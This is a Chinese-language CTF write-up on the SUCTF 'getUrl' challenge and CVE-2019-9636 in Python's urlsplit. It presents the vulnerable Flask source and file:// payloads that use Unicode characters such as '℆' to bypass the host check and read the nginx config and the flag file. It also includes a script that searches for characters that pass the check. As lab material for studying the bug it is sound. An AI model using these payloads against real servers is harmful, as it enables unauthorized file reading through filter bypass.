urlsplit 不处理 NFKC 标准化(CVE-2019-9636) 漏洞的原理:因为unicode编码处理不当产生的,即经过特殊制作的url可能会被错误解析以定位cookie或身份验证数据,并将该信息发送到与正确解析时不同的主机
影响版本:python 2.7.x至2.7.16和3.x至3.7.2
打开页面后,我们可以看见python写的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @app.route('/getUrl', methods=['GET', 'POST']) def getUrl(): url = request.args.get("url") host = parse.urlparse(url).hostname #解析出主机名 if host == 'suctf.cc': return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1] #再次解析主机名 if host == 'suctf.cc': return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.'): #对www.example.com按.划分,先按idna编码,再utf-8解码 newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) #组合好解码后的主机名 #去掉 url 中的空格 finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname #解析出主机名,要等于suctf.cc if host == 'suctf.cc': return urllib.request.urlopen(finalUrl).read() else: return "我扌 your problem? 333"
这是不完整的源码,我们可以在github上下载源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from flask import Flask, Blueprint, request, Response, escape ,render_template from urllib.parse import urlsplit, urlunsplit, unquote from urllib import parse import urllib.request app = Flask(__name__) # Index @app.route('/', methods=['GET']) def app_index(): return render_template('index.html') @app.route('/getUrl', methods=['GET', 'POST'])//这以上就是声明一些路由和传参方式没什么太大的用处 def getUrl(): url = request.args.get("url")//接收传进来的url host = parse.urlparse(url).hostname//主要是用于解析url中的参数 对url按照一定格式进行 拆分或拼接 if host == 'suctf.cc': return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return "我扌 your problem? 222 " + host newhost = []//以上两个if判断就是检测传进来的是不是suctf.cc',如果是就报错 for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) #去掉 url 中的空格 finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc'://这里判断到如果为suctf.cc就可以执行读操作 return urllib.request.urlopen(finalUrl, timeout=2).read() else: return "我扌 your problem? 333" if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
其中代码
意思是获取get提交的url参数的值
而这行代码
1 parse.urlparse(url).hostname
意思是获取url中的域名
parse.urlparse() 用于获取网址中的网络协议、域名、文件存放路径、查询字符、可选参数以及拆分文档
代码示例:
1 2 3 4 5 6 7 8 9 10 from urllib import parse url = 'https://www.baidu.com/s;index.php?tn=78040160_14_pg&ch=16#1' result = parse.urlparse(url) print('scheme:',result.scheme) #网络协议 print('netloc:',result.netloc) #域名 print('path:',result.path) #文件存放路径 print('query:',result.query) #查询字符 print('params:',result.params) #可选参数 print('fragment:',result.fragment) #拆分文档中的特殊猫
而代码
意思是拆分url,并以数组的形式存储起来
代码
1 2 3 4 5 for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost)
将host中的”.”给去除掉,并将host拆分为一个一个字符进行idna编码和utf-8解码,而后又给数组中的元素用”.”连接起来,而这里就是漏洞的存在,我们可以构造有特殊字符的url,来绕过过滤,到达我们想访问的地方。
而后会再经过一层过滤后,便可以使用urllib.request.urlopen()来读取文件
同时我们打开页面源码,我们可以看见nginx的提示,而nginx文件时重要配置文件,里面有许多重要信息
1 2 3 4 5 6 7 8 配置文件存放目录:/etc/nginx 主配置文件:/etc/nginx/conf/nginx.conf 管理脚本:/usr/lib64/systemd/system/nginx.service 模块:/usr/lisb64/nginx/modules 应用程序:/usr/sbin/nginx 程序默认存放位置:/usr/share/nginx/html 日志默认存放位置:/var/log/nginx 配置文件目录为:/usr/local/nginx/conf/nginx.conf
而我们想要读取就要绕过前两层的suctf.cc,第三层域名要等于suctf.cc,所以我们可以使用这个漏洞进行绕过,有两种方式
第一种 使用℆ 字符进行绕过,在进行idna编码和utf-8解码时,会将℆ 转换为c/u,所以我们可以构造paylaod
1 /getUrl?url=file://suctf.c℆ sr/local/nginx/conf/nginx.conf
来看配置文件所在地,然后找到flag所在文件后,构造payload
1 file://suctf.c℆sr/fffffflag
第二种方法 构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from urllib.parse import urlparse,urlunsplit,urlsplit from urllib import parse def get_unicode(): for x in range(65536): uni=chr(x) url="http://suctf.c{}".format(uni) try: if getUrl(url): print("str: "+uni+' unicode: \\u'+str(hex(x))[2:]) except: pass def getUrl(url): url = url host = parse.urlparse(url).hostname if host == 'suctf.cc': return False parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return False newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return True else: return False if __name__=="__main__": get_unicode()
来生成不同的c来绕过前两层的suctf.cc的判断,可以构造payload
1 /getUrl?url=file://suctf.cC/usr/local/nginx/conf/nginx.conf
来读取配置文件信息,发现flag所在位置后,用payload
1 ?/getUrl?url=file://suctf.cC/usr/fffffflag